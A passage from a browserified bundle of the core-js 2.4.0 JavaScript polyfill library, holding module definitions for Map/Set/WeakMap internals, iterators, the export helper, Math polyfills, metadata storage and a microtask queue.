},{"3":3,"44":44,"49":49}],17:[function(_dereq_,module,exports){
// getting tag from 19.1.3.6 Object.prototype.toString()
var cof = _dereq_(18)
, TAG = _dereq_(117)('toStringTag')
// ES3 wrong here
, ARG = cof(function(){ return arguments; }()) == 'Arguments';
// fallback for IE11 Script Access Denied error
var tryGet = function(it, key){
try {
return it[key];
} catch(e){ /* empty */ }
};
module.exports = function(it){
var O, T, B;
return it === undefined ? 'Undefined' : it === null ? 'Null'
// @@toStringTag case
: typeof (T = tryGet(O = Object(it), TAG)) == 'string' ? T
// builtinTag case
: ARG ? cof(O)
// ES3 arguments fallback
: (B = cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B;
};
},{"117":117,"18":18}],18:[function(_dereq_,module,exports){
var toString = {}.toString;
module.exports = function(it){
return toString.call(it).slice(8, -1);
};
},{}],19:[function(_dereq_,module,exports){
'use strict';
var dP = _dereq_(67).f
, create = _dereq_(66)
, redefineAll = _dereq_(86)
, ctx = _dereq_(25)
, anInstance = _dereq_(6)
, defined = _dereq_(27)
, forOf = _dereq_(37)
, $iterDefine = _dereq_(53)
, step = _dereq_(55)
, setSpecies = _dereq_(91)
, DESCRIPTORS = _dereq_(28)
, fastKey = _dereq_(62).fastKey
, SIZE = DESCRIPTORS ? '_s' : 'size';
var getEntry = function(that, key){
// fast case
var index = fastKey(key), entry;
if(index !== 'F')return that._i[index];
// frozen object case
for(entry = that._f; entry; entry = entry.n){
if(entry.k == key)return entry;
}
};
module.exports = {
getConstructor: function(wrapper, NAME, IS_MAP, ADDER){
var C = wrapper(function(that, iterable){
anInstance(that, C, NAME, '_i');
that._i = create(null); // index
that._f = undefined; // first entry
that._l = undefined; // last entry
that[SIZE] = 0; // size
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
});
redefineAll(C.prototype, {
// 23.1.3.1 Map.prototype.clear()
// 23.2.3.2 Set.prototype.clear()
clear: function clear(){
for(var that = this, data = that._i, entry = that._f; entry; entry = entry.n){
entry.r = true;
if(entry.p)entry.p = entry.p.n = undefined;
delete data[entry.i];
}
that._f = that._l = undefined;
that[SIZE] = 0;
},
// 23.1.3.3 Map.prototype.delete(key)
// 23.2.3.4 Set.prototype.delete(value)
'delete': function(key){
var that = this
, entry = getEntry(that, key);
if(entry){
var next = entry.n
, prev = entry.p;
delete that._i[entry.i];
entry.r = true;
if(prev)prev.n = next;
if(next)next.p = prev;
if(that._f == entry)that._f = next;
if(that._l == entry)that._l = prev;
that[SIZE]--;
} return !!entry;
},
// 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined)
// 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined)
forEach: function forEach(callbackfn /*, that = undefined */){
anInstance(this, C, 'forEach');
var f = ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3)
, entry;
while(entry = entry ? entry.n : this._f){
f(entry.v, entry.k, this);
// revert to the last existing entry
while(entry && entry.r)entry = entry.p;
}
},
// 23.1.3.7 Map.prototype.has(key)
// 23.2.3.7 Set.prototype.has(value)
has: function has(key){
return !!getEntry(this, key);
}
});
if(DESCRIPTORS)dP(C.prototype, 'size', {
get: function(){
return defined(this[SIZE]);
}
});
return C;
},
def: function(that, key, value){
var entry = getEntry(that, key)
, prev, index;
// change existing entry
if(entry){
entry.v = value;
// create new entry
} else {
that._l = entry = {
i: index = fastKey(key, true), // <- index
k: key, // <- key
v: value, // <- value
p: prev = that._l, // <- previous entry
n: undefined, // <- next entry
r: false // <- removed
};
if(!that._f)that._f = entry;
if(prev)prev.n = entry;
that[SIZE]++;
// add to index
if(index !== 'F')that._i[index] = entry;
} return that;
},
getEntry: getEntry,
setStrong: function(C, NAME, IS_MAP){
// add .keys, .values, .entries, [@@iterator]
// 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11
$iterDefine(C, NAME, function(iterated, kind){
this._t = iterated; // target
this._k = kind; // kind
this._l = undefined; // previous
}, function(){
var that = this
, kind = that._k
, entry = that._l;
// revert to the last existing entry
while(entry && entry.r)entry = entry.p;
// get next entry
if(!that._t || !(that._l = entry = entry ? entry.n : that._t._f)){
// or finish the iteration
that._t = undefined;
return step(1);
}
// return step by kind
if(kind == 'keys' )return step(0, entry.k);
if(kind == 'values')return step(0, entry.v);
return step(0, [entry.k, entry.v]);
}, IS_MAP ? 'entries' : 'values' , !IS_MAP, true);
// add [@@species], 23.1.2.2, 23.2.2.2
setSpecies(NAME);
}
};
},{"25":25,"27":27,"28":28,"37":37,"53":53,"55":55,"6":6,"62":62,"66":66,"67":67,"86":86,"91":91}],20:[function(_dereq_,module,exports){
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var classof = _dereq_(17)
, from = _dereq_(10);
module.exports = function(NAME){
return function toJSON(){
if(classof(this) != NAME)throw TypeError(NAME + "#toJSON isn't generic");
return from(this);
};
};
},{"10":10,"17":17}],21:[function(_dereq_,module,exports){
'use strict';
var redefineAll = _dereq_(86)
, getWeak = _dereq_(62).getWeak
, anObject = _dereq_(7)
, isObject = _dereq_(49)
, anInstance = _dereq_(6)
, forOf = _dereq_(37)
, createArrayMethod = _dereq_(12)
, $has = _dereq_(39)
, arrayFind = createArrayMethod(5)
, arrayFindIndex = createArrayMethod(6)
, id = 0;
// fallback for uncaught frozen keys
var uncaughtFrozenStore = function(that){
return that._l || (that._l = new UncaughtFrozenStore);
};
var UncaughtFrozenStore = function(){
this.a = [];
};
var findUncaughtFrozen = function(store, key){
return arrayFind(store.a, function(it){
return it[0] === key;
});
};
UncaughtFrozenStore.prototype = {
get: function(key){
var entry = findUncaughtFrozen(this, key);
if(entry)return entry[1];
},
has: function(key){
return !!findUncaughtFrozen(this, key);
},
set: function(key, value){
var entry = findUncaughtFrozen(this, key);
if(entry)entry[1] = value;
else this.a.push([key, value]);
},
'delete': function(key){
var index = arrayFindIndex(this.a, function(it){
return it[0] === key;
});
if(~index)this.a.splice(index, 1);
return !!~index;
}
};
module.exports = {
getConstructor: function(wrapper, NAME, IS_MAP, ADDER){
var C = wrapper(function(that, iterable){
anInstance(that, C, NAME, '_i');
that._i = id++; // collection id
that._l = undefined; // leak store for uncaught frozen objects
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
});
redefineAll(C.prototype, {
// 23.3.3.2 WeakMap.prototype.delete(key)
// 23.4.3.3 WeakSet.prototype.delete(value)
'delete': function(key){
if(!isObject(key))return false;
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this)['delete'](key);
return data && $has(data, this._i) && delete data[this._i];
},
// 23.3.3.4 WeakMap.prototype.has(key)
// 23.4.3.4 WeakSet.prototype.has(value)
has: function has(key){
if(!isObject(key))return false;
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this).has(key);
return data && $has(data, this._i);
}
});
return C;
},
def: function(that, key, value){
var data = getWeak(anObject(key), true);
if(data === true)uncaughtFrozenStore(that).set(key, value);
else data[that._i] = value;
return that;
},
ufstore: uncaughtFrozenStore
};
},{"12":12,"37":37,"39":39,"49":49,"6":6,"62":62,"7":7,"86":86}],22:[function(_dereq_,module,exports){
'use strict';
var global = _dereq_(38)
, $export = _dereq_(32)
, redefine = _dereq_(87)
, redefineAll = _dereq_(86)
, meta = _dereq_(62)
, forOf = _dereq_(37)
, anInstance = _dereq_(6)
, isObject = _dereq_(49)
, fails = _dereq_(34)
, $iterDetect = _dereq_(54)
, setToStringTag = _dereq_(92)
, inheritIfRequired = _dereq_(43);
module.exports = function(NAME, wrapper, methods, common, IS_MAP, IS_WEAK){
var Base = global[NAME]
, C = Base
, ADDER = IS_MAP ? 'set' : 'add'
, proto = C && C.prototype
, O = {};
var fixMethod = function(KEY){
var fn = proto[KEY];
redefine(proto, KEY,
KEY == 'delete' ? function(a){
return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'has' ? function has(a){
return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'get' ? function get(a){
return IS_WEAK && !isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'add' ? function add(a){ fn.call(this, a === 0 ? 0 : a); return this; }
: function set(a, b){ fn.call(this, a === 0 ? 0 : a, b); return this; }
);
};
if(typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function(){
new C().entries().next();
}))){
// create collection constructor
C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER);
redefineAll(C.prototype, methods);
meta.NEED = true;
} else {
var instance = new C
// early implementations not supports chaining
, HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance
// V8 ~ Chromium 40- weak-collections throws on primitives, but should return false
, THROWS_ON_PRIMITIVES = fails(function(){ instance.has(1); })
// most early implementations doesn't supports iterables, most modern - not close it correctly
, ACCEPT_ITERABLES = $iterDetect(function(iter){ new C(iter); }) // eslint-disable-line no-new
// for early implementations -0 and +0 not the same
, BUGGY_ZERO = !IS_WEAK && fails(function(){
// V8 ~ Chromium 42- fails only with 5+ elements
var $instance = new C()
, index = 5;
while(index--)$instance[ADDER](index, index);
return !$instance.has(-0);
});
if(!ACCEPT_ITERABLES){
C = wrapper(function(target, iterable){
anInstance(target, C, NAME);
var that = inheritIfRequired(new Base, target, C);
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
return that;
});
C.prototype = proto;
proto.constructor = C;
}
if(THROWS_ON_PRIMITIVES || BUGGY_ZERO){
fixMethod('delete');
fixMethod('has');
IS_MAP && fixMethod('get');
}
if(BUGGY_ZERO || HASNT_CHAINING)fixMethod(ADDER);
// weak collections should not contains .clear method
if(IS_WEAK && proto.clear)delete proto.clear;
}
setToStringTag(C, NAME);
O[NAME] = C;
$export($export.G + $export.W + $export.F * (C != Base), O);
if(!IS_WEAK)common.setStrong(C, NAME, IS_MAP);
return C;
};
},{"32":32,"34":34,"37":37,"38":38,"43":43,"49":49,"54":54,"6":6,"62":62,"86":86,"87":87,"92":92}],23:[function(_dereq_,module,exports){
var core = module.exports = {version: '2.4.0'};
if(typeof __e == 'number')__e = core; // eslint-disable-line no-undef
},{}],24:[function(_dereq_,module,exports){
'use strict';
var $defineProperty = _dereq_(67)
, createDesc = _dereq_(85);
module.exports = function(object, index, value){
if(index in object)$defineProperty.f(object, index, createDesc(0, value));
else object[index] = value;
};
},{"67":67,"85":85}],25:[function(_dereq_,module,exports){
// optional / simple context binding
var aFunction = _dereq_(3);
module.exports = function(fn, that, length){
aFunction(fn);
if(that === undefined)return fn;
switch(length){
case 1: return function(a){
return fn.call(that, a);
};
case 2: return function(a, b){
return fn.call(that, a, b);
};
case 3: return function(a, b, c){
return fn.call(that, a, b, c);
};
}
return function(/* ...args */){
return fn.apply(that, arguments);
};
};
},{"3":3}],26:[function(_dereq_,module,exports){
'use strict';
var anObject = _dereq_(7)
, toPrimitive = _dereq_(110)
, NUMBER = 'number';
module.exports = function(hint){
if(hint !== 'string' && hint !== NUMBER && hint !== 'default')throw TypeError('Incorrect hint');
return toPrimitive(anObject(this), hint != NUMBER);
};
},{"110":110,"7":7}],27:[function(_dereq_,module,exports){
// 7.2.1 RequireObjectCoercible(argument)
module.exports = function(it){
if(it == undefined)throw TypeError("Can't call method on " + it);
return it;
};
},{}],28:[function(_dereq_,module,exports){
// Thank's IE8 for his funny defineProperty
module.exports = !_dereq_(34)(function(){
return Object.defineProperty({}, 'a', {get: function(){ return 7; }}).a != 7;
});
},{"34":34}],29:[function(_dereq_,module,exports){
var isObject = _dereq_(49)
, document = _dereq_(38).document
// in old IE typeof document.createElement is 'object'
, is = isObject(document) && isObject(document.createElement);
module.exports = function(it){
return is ? document.createElement(it) : {};
};
},{"38":38,"49":49}],30:[function(_dereq_,module,exports){
// IE 8- don't enum bug keys
module.exports = (
'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf'
).split(',');
},{}],31:[function(_dereq_,module,exports){
// all enumerable object keys, includes symbols
var getKeys = _dereq_(76)
, gOPS = _dereq_(73)
, pIE = _dereq_(77);
module.exports = function(it){
var result = getKeys(it)
, getSymbols = gOPS.f;
if(getSymbols){
var symbols = getSymbols(it)
, isEnum = pIE.f
, i = 0
, key;
while(symbols.length > i)if(isEnum.call(it, key = symbols[i++]))result.push(key);
} return result;
};
},{"73":73,"76":76,"77":77}],32:[function(_dereq_,module,exports){
var global = _dereq_(38)
, core = _dereq_(23)
, hide = _dereq_(40)
, redefine = _dereq_(87)
, ctx = _dereq_(25)
, PROTOTYPE = 'prototype';
var $export = function(type, name, source){
var IS_FORCED = type & $export.F
, IS_GLOBAL = type & $export.G
, IS_STATIC = type & $export.S
, IS_PROTO = type & $export.P
, IS_BIND = type & $export.B
, target = IS_GLOBAL ? global : IS_STATIC ? global[name] || (global[name] = {}) : (global[name] || {})[PROTOTYPE]
, exports = IS_GLOBAL ? core : core[name] || (core[name] = {})
, expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {})
, key, own, out, exp;
if(IS_GLOBAL)source = name;
for(key in source){
// contains in native
own = !IS_FORCED && target && target[key] !== undefined;
// export native or passed
out = (own ? target : source)[key];
// bind timers to global for call from export context
exp = IS_BIND && own ? ctx(out, global) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out;
// extend global
if(target)redefine(target, key, out, type & $export.U);
// export
if(exports[key] != out)hide(exports, key, exp);
if(IS_PROTO && expProto[key] != out)expProto[key] = out;
}
};
global.core = core;
// type bitmap
$export.F = 1; // forced
$export.G = 2; // global
$export.S = 4; // static
$export.P = 8; // proto
$export.B = 16; // bind
$export.W = 32; // wrap
$export.U = 64; // safe
$export.R = 128; // real proto method for `library`
module.exports = $export;
},{"23":23,"25":25,"38":38,"40":40,"87":87}],33:[function(_dereq_,module,exports){
var MATCH = _dereq_(117)('match');
module.exports = function(KEY){
var re = /./;
try {
'/./'[KEY](re);
} catch(e){
try {
re[MATCH] = false;
return !'/./'[KEY](re);
} catch(f){ /* empty */ }
} return true;
};
},{"117":117}],34:[function(_dereq_,module,exports){
module.exports = function(exec){
try {
return !!exec();
} catch(e){
return true;
}
};
},{}],35:[function(_dereq_,module,exports){
'use strict';
var hide = _dereq_(40)
, redefine = _dereq_(87)
, fails = _dereq_(34)
, defined = _dereq_(27)
, wks = _dereq_(117);
module.exports = function(KEY, length, exec){
var SYMBOL = wks(KEY)
, fns = exec(defined, SYMBOL, ''[KEY])
, strfn = fns[0]
, rxfn = fns[1];
if(fails(function(){
var O = {};
O[SYMBOL] = function(){ return 7; };
return ''[KEY](O) != 7;
})){
redefine(String.prototype, KEY, strfn);
hide(RegExp.prototype, SYMBOL, length == 2
// 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue)
// 21.2.5.11 RegExp.prototype[@@split](string, limit)
? function(string, arg){ return rxfn.call(string, this, arg); }
// 21.2.5.6 RegExp.prototype[@@match](string)
// 21.2.5.9 RegExp.prototype[@@search](string)
: function(string){ return rxfn.call(string, this); }
);
}
};
},{"117":117,"27":27,"34":34,"40":40,"87":87}],36:[function(_dereq_,module,exports){
'use strict';
// 21.2.5.3 get RegExp.prototype.flags
var anObject = _dereq_(7);
module.exports = function(){
var that = anObject(this)
, result = '';
if(that.global) result += 'g';
if(that.ignoreCase) result += 'i';
if(that.multiline) result += 'm';
if(that.unicode) result += 'u';
if(that.sticky) result += 'y';
return result;
};
},{"7":7}],37:[function(_dereq_,module,exports){
var ctx = _dereq_(25)
, call = _dereq_(51)
, isArrayIter = _dereq_(46)
, anObject = _dereq_(7)
, toLength = _dereq_(108)
, getIterFn = _dereq_(118)
, BREAK = {}
, RETURN = {};
var exports = module.exports = function(iterable, entries, fn, that, ITERATOR){
var iterFn = ITERATOR ? function(){ return iterable; } : getIterFn(iterable)
, f = ctx(fn, that, entries ? 2 : 1)
, index = 0
, length, step, iterator, result;
if(typeof iterFn != 'function')throw TypeError(iterable + ' is not iterable!');
// fast case for arrays with default iterator
if(isArrayIter(iterFn))for(length = toLength(iterable.length); length > index; index++){
result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]);
if(result === BREAK || result === RETURN)return result;
} else for(iterator = iterFn.call(iterable); !(step = iterator.next()).done; ){
result = call(iterator, f, step.value, entries);
if(result === BREAK || result === RETURN)return result;
}
};
exports.BREAK = BREAK;
exports.RETURN = RETURN;
},{"108":108,"118":118,"25":25,"46":46,"51":51,"7":7}],38:[function(_dereq_,module,exports){
// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
var global = module.exports = typeof window != 'undefined' && window.Math == Math
? window : typeof self != 'undefined' && self.Math == Math ? self : Function('return this')();
if(typeof __g == 'number')__g = global; // eslint-disable-line no-undef
},{}],39:[function(_dereq_,module,exports){
var hasOwnProperty = {}.hasOwnProperty;
module.exports = function(it, key){
return hasOwnProperty.call(it, key);
};
},{}],40:[function(_dereq_,module,exports){
var dP = _dereq_(67)
, createDesc = _dereq_(85);
module.exports = _dereq_(28) ? function(object, key, value){
return dP.f(object, key, createDesc(1, value));
} : function(object, key, value){
object[key] = value;
return object;
};
},{"28":28,"67":67,"85":85}],41:[function(_dereq_,module,exports){
module.exports = _dereq_(38).document && document.documentElement;
},{"38":38}],42:[function(_dereq_,module,exports){
module.exports = !_dereq_(28) && !_dereq_(34)(function(){
return Object.defineProperty(_dereq_(29)('div'), 'a', {get: function(){ return 7; }}).a != 7;
});
},{"28":28,"29":29,"34":34}],43:[function(_dereq_,module,exports){
var isObject = _dereq_(49)
, setPrototypeOf = _dereq_(90).set;
module.exports = function(that, target, C){
var P, S = target.constructor;
if(S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf){
setPrototypeOf(that, P);
} return that;
};
},{"49":49,"90":90}],44:[function(_dereq_,module,exports){
// fast apply, http://jsperf.lnkit.com/fast-apply/5
module.exports = function(fn, args, that){
var un = that === undefined;
switch(args.length){
case 0: return un ? fn()
: fn.call(that);
case 1: return un ? fn(args[0])
: fn.call(that, args[0]);
case 2: return un ? fn(args[0], args[1])
: fn.call(that, args[0], args[1]);
case 3: return un ? fn(args[0], args[1], args[2])
: fn.call(that, args[0], args[1], args[2]);
case 4: return un ? fn(args[0], args[1], args[2], args[3])
: fn.call(that, args[0], args[1], args[2], args[3]);
} return fn.apply(that, args);
};
},{}],45:[function(_dereq_,module,exports){
// fallback for non-array-like ES3 and non-enumerable old V8 strings
var cof = _dereq_(18);
module.exports = Object('z').propertyIsEnumerable(0) ? Object : function(it){
return cof(it) == 'String' ? it.split('') : Object(it);
};
},{"18":18}],46:[function(_dereq_,module,exports){
// check on default Array iterator
var Iterators = _dereq_(56)
, ITERATOR = _dereq_(117)('iterator')
, ArrayProto = Array.prototype;
module.exports = function(it){
return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it);
};
},{"117":117,"56":56}],47:[function(_dereq_,module,exports){
// 7.2.2 IsArray(argument)
var cof = _dereq_(18);
module.exports = Array.isArray || function isArray(arg){
return cof(arg) == 'Array';
};
},{"18":18}],48:[function(_dereq_,module,exports){
// 20.1.2.3 Number.isInteger(number)
var isObject = _dereq_(49)
, floor = Math.floor;
module.exports = function isInteger(it){
return !isObject(it) && isFinite(it) && floor(it) === it;
};
},{"49":49}],49:[function(_dereq_,module,exports){
module.exports = function(it){
return typeof it === 'object' ? it !== null : typeof it === 'function';
};
},{}],50:[function(_dereq_,module,exports){
// 7.2.8 IsRegExp(argument)
var isObject = _dereq_(49)
, cof = _dereq_(18)
, MATCH = _dereq_(117)('match');
module.exports = function(it){
var isRegExp;
return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : cof(it) == 'RegExp');
};
},{"117":117,"18":18,"49":49}],51:[function(_dereq_,module,exports){
// call something on iterator step with safe closing on error
var anObject = _dereq_(7);
module.exports = function(iterator, fn, value, entries){
try {
return entries ? fn(anObject(value)[0], value[1]) : fn(value);
// 7.4.6 IteratorClose(iterator, completion)
} catch(e){
var ret = iterator['return'];
if(ret !== undefined)anObject(ret.call(iterator));
throw e;
}
};
},{"7":7}],52:[function(_dereq_,module,exports){
'use strict';
var create = _dereq_(66)
, descriptor = _dereq_(85)
, setToStringTag = _dereq_(92)
, IteratorPrototype = {};
// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()
_dereq_(40)(IteratorPrototype, _dereq_(117)('iterator'), function(){ return this; });
module.exports = function(Constructor, NAME, next){
Constructor.prototype = create(IteratorPrototype, {next: descriptor(1, next)});
setToStringTag(Constructor, NAME + ' Iterator');
};
},{"117":117,"40":40,"66":66,"85":85,"92":92}],53:[function(_dereq_,module,exports){
'use strict';
var LIBRARY = _dereq_(58)
, $export = _dereq_(32)
, redefine = _dereq_(87)
, hide = _dereq_(40)
, has = _dereq_(39)
, Iterators = _dereq_(56)
, $iterCreate = _dereq_(52)
, setToStringTag = _dereq_(92)
, getPrototypeOf = _dereq_(74)
, ITERATOR = _dereq_(117)('iterator')
, BUGGY = !([].keys && 'next' in [].keys()) // Safari has buggy iterators w/o `next`
, FF_ITERATOR = '@@iterator'
, KEYS = 'keys'
, VALUES = 'values';
var returnThis = function(){ return this; };
module.exports = function(Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED){
$iterCreate(Constructor, NAME, next);
var getMethod = function(kind){
if(!BUGGY && kind in proto)return proto[kind];
switch(kind){
case KEYS: return function keys(){ return new Constructor(this, kind); };
case VALUES: return function values(){ return new Constructor(this, kind); };
} return function entries(){ return new Constructor(this, kind); };
};
var TAG = NAME + ' Iterator'
, DEF_VALUES = DEFAULT == VALUES
, VALUES_BUG = false
, proto = Base.prototype
, $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT]
, $default = $native || getMethod(DEFAULT)
, $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined
, $anyNative = NAME == 'Array' ? proto.entries || $native : $native
, methods, key, IteratorPrototype;
// Fix native
if($anyNative){
IteratorPrototype = getPrototypeOf($anyNative.call(new Base));
if(IteratorPrototype !== Object.prototype){
// Set @@toStringTag to native iterators
setToStringTag(IteratorPrototype, TAG, true);
// fix for some old engines
if(!LIBRARY && !has(IteratorPrototype, ITERATOR))hide(IteratorPrototype, ITERATOR, returnThis);
}
}
// fix Array#{values, @@iterator}.name in V8 / FF
if(DEF_VALUES && $native && $native.name !== VALUES){
VALUES_BUG = true;
$default = function values(){ return $native.call(this); };
}
// Define iterator
if((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])){
hide(proto, ITERATOR, $default);
}
// Plug for library
Iterators[NAME] = $default;
Iterators[TAG] = returnThis;
if(DEFAULT){
methods = {
values: DEF_VALUES ? $default : getMethod(VALUES),
keys: IS_SET ? $default : getMethod(KEYS),
entries: $entries
};
if(FORCED)for(key in methods){
if(!(key in proto))redefine(proto, key, methods[key]);
} else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods);
}
return methods;
};
},{"117":117,"32":32,"39":39,"40":40,"52":52,"56":56,"58":58,"74":74,"87":87,"92":92}],54:[function(_dereq_,module,exports){
var ITERATOR = _dereq_(117)('iterator')
, SAFE_CLOSING = false;
try {
var riter = [7][ITERATOR]();
riter['return'] = function(){ SAFE_CLOSING = true; };
Array.from(riter, function(){ throw 2; });
} catch(e){ /* empty */ }
module.exports = function(exec, skipClosing){
if(!skipClosing && !SAFE_CLOSING)return false;
var safe = false;
try {
var arr = [7]
, iter = arr[ITERATOR]();
iter.next = function(){ return {done: safe = true}; };
arr[ITERATOR] = function(){ return iter; };
exec(arr);
} catch(e){ /* empty */ }
return safe;
};
},{"117":117}],55:[function(_dereq_,module,exports){
module.exports = function(done, value){
return {value: value, done: !!done};
};
},{}],56:[function(_dereq_,module,exports){
module.exports = {};
},{}],57:[function(_dereq_,module,exports){
var getKeys = _dereq_(76)
, toIObject = _dereq_(107);
module.exports = function(object, el){
var O = toIObject(object)
, keys = getKeys(O)
, length = keys.length
, index = 0
, key;
while(length > index)if(O[key = keys[index++]] === el)return key;
};
},{"107":107,"76":76}],58:[function(_dereq_,module,exports){
module.exports = false;
},{}],59:[function(_dereq_,module,exports){
// 20.2.2.14 Math.expm1(x)
var $expm1 = Math.expm1;
module.exports = (!$expm1
// Old FF bug
|| $expm1(10) > 22025.465794806719 || $expm1(10) < 22025.4657948067165168
// Tor Browser bug
|| $expm1(-2e-17) != -2e-17
) ? function expm1(x){
return (x = +x) == 0 ? x : x > -1e-6 && x < 1e-6 ? x + x * x / 2 : Math.exp(x) - 1;
} : $expm1;
},{}],60:[function(_dereq_,module,exports){
// 20.2.2.20 Math.log1p(x)
module.exports = Math.log1p || function log1p(x){
return (x = +x) > -1e-8 && x < 1e-8 ? x - x * x / 2 : Math.log(1 + x);
};
},{}],61:[function(_dereq_,module,exports){
// 20.2.2.28 Math.sign(x)
module.exports = Math.sign || function sign(x){
return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1;
};
},{}],62:[function(_dereq_,module,exports){
var META = _dereq_(114)('meta')
, isObject = _dereq_(49)
, has = _dereq_(39)
, setDesc = _dereq_(67).f
, id = 0;
var isExtensible = Object.isExtensible || function(){
return true;
};
var FREEZE = !_dereq_(34)(function(){
return isExtensible(Object.preventExtensions({}));
});
var setMeta = function(it){
setDesc(it, META, {value: {
i: 'O' + ++id, // object ID
w: {} // weak collections IDs
}});
};
var fastKey = function(it, create){
// return primitive with prefix
if(!isObject(it))return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it;
if(!has(it, META)){
// can't set metadata to uncaught frozen object
if(!isExtensible(it))return 'F';
// not necessary to add metadata
if(!create)return 'E';
// add missing metadata
setMeta(it);
// return object ID
} return it[META].i;
};
var getWeak = function(it, create){
if(!has(it, META)){
// can't set metadata to uncaught frozen object
if(!isExtensible(it))return true;
// not necessary to add metadata
if(!create)return false;
// add missing metadata
setMeta(it);
// return hash weak collections IDs
} return it[META].w;
};
// add metadata on freeze-family methods calling
var onFreeze = function(it){
if(FREEZE && meta.NEED && isExtensible(it) && !has(it, META))setMeta(it);
return it;
};
var meta = module.exports = {
KEY: META,
NEED: false,
fastKey: fastKey,
getWeak: getWeak,
onFreeze: onFreeze
};
},{"114":114,"34":34,"39":39,"49":49,"67":67}],63:[function(_dereq_,module,exports){
var Map = _dereq_(149)
, $export = _dereq_(32)
, shared = _dereq_(94)('metadata')
, store = shared.store || (shared.store = new (_dereq_(255)));
var getOrCreateMetadataMap = function(target, targetKey, create){
var targetMetadata = store.get(target);
if(!targetMetadata){
if(!create)return undefined;
store.set(target, targetMetadata = new Map);
}
var keyMetadata = targetMetadata.get(targetKey);
if(!keyMetadata){
if(!create)return undefined;
targetMetadata.set(targetKey, keyMetadata = new Map);
} return keyMetadata;
};
var ordinaryHasOwnMetadata = function(MetadataKey, O, P){
var metadataMap = getOrCreateMetadataMap(O, P, false);
return metadataMap === undefined ? false : metadataMap.has(MetadataKey);
};
var ordinaryGetOwnMetadata = function(MetadataKey, O, P){
var metadataMap = getOrCreateMetadataMap(O, P, false);
return metadataMap === undefined ? undefined : metadataMap.get(MetadataKey);
};
var ordinaryDefineOwnMetadata = function(MetadataKey, MetadataValue, O, P){
getOrCreateMetadataMap(O, P, true).set(MetadataKey, MetadataValue);
};
var ordinaryOwnMetadataKeys = function(target, targetKey){
var metadataMap = getOrCreateMetadataMap(target, targetKey, false)
, keys = [];
if(metadataMap)metadataMap.forEach(function(_, key){ keys.push(key); });
return keys;
};
var toMetaKey = function(it){
return it === undefined || typeof it == 'symbol' ? it : String(it);
};
var exp = function(O){
$export($export.S, 'Reflect', O);
};
module.exports = {
store: store,
map: getOrCreateMetadataMap,
has: ordinaryHasOwnMetadata,
get: ordinaryGetOwnMetadata,
set: ordinaryDefineOwnMetadata,
keys: ordinaryOwnMetadataKeys,
key: toMetaKey,
exp: exp
};
},{"149":149,"255":255,"32":32,"94":94}],64:[function(_dereq_,module,exports){
var global = _dereq_(38)
, macrotask = _dereq_(104).set
, Observer = global.MutationObserver || global.WebKitMutationObserver
, process = global.process
, Promise = global.Promise
, isNode = _dereq_(18)(process) == 'process';
module.exports = function(){
var head, last, notify;
var flush = function(){
var parent, fn;
if(isNode && (parent = process.domain))parent.exit();
while(head){
fn = head.fn;
head = head.next;
try {
fn();
} catch(e){
if(head)notify();
else last = undefined;
throw e;
}
} last = undefined;
if(parent)parent.enter();
};
// Node.js
if(isNode){
notify = function(){
process.nextTick(flush);
};
// browsers with MutationObserver
} else if(Observer){
var toggle = true
, node = document.createTextNode('');
new Observer(flush).observe(node, {characterData: true}); // eslint-disable-line no-new
notify = function(){
node.data = toggle = !toggle;
};
// environments with maybe non-completely correct, but existent Promise
} else if(Promise && Promise.resolve){
var promise = Promise.resolve();
notify = function(){
promise.then(flush);
};
// for other environments - macrotask based on:
// - setImmediate
// - MessageChannel
// - window.postMessag
// - onreadystatechange
// - setTimeout
} else {
notify = function(){
// strange IE + webpack dev server bug - use .call(global)
macrotask.call(global, flush);
};
}
return function(fn){
var task = {fn: fn, next: undefined};
if(last)last.next = task;
if(!head){
head = task;
notify();
} last = task;
};
};
},{"104":104,"18":18,"38":38}],65:[function(_dereq_,module,exports){
'use strict';
// 19.1.2.1 Object.assign(target, source, ...)
var getKeys = _dereq_(76)
, gOPS = _dereq_(73)
, pIE = _dereq_(77)
, toObject = _dereq_(109)
, IObject = _dereq_(45)
, $assign = Object.assign;
// should work with symbols and should have deterministic property order (V8 bug)
module.exports = !$assign || _dereq_(34)(function(){
var A = {}
, B = {}
, S = Symbol()
, K = 'abcdefghijklmnopqrst';
A[S] = 7;
